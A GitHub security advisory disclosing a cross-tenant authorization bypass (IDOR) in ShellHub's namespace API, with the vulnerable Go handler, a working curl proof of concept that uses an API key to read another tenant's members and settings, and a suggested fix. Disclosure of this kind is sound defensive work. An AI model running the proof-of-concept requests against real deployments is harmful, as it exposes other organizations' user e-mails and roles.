Skip to content

Cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check

Moderate
gustavosbarreto published GHSA-vwx9-7qcf-gg7f May 1, 2026

Package

github.com/shellhub-io/shellhub (shellhub)

Affected versions

<= v0.24.1

Patched versions

0.24.2

Description

Summary

GET /api/namespaces/:tenant returns the full namespace object — including
the members list (user IDs, e-mails, roles), settings, and device counts —
to any caller authenticated by an API Key, for any tenant, regardless of
the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID
(X-ID) is absent, which is exactly the case for API Key authentication.

Severity

CVSS 3.1: 7.5 (High)
CWE-639

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is
nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role,
and X-API-KEY for API Key authentication — never X-ID. So
c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and
the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and
    targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off,
    announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace,
    covering both JWT and API Key callers:

    // nsadm.go GetNamespace
    if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
        return c.NoContent(http.StatusForbidden)
    }

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-44426

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits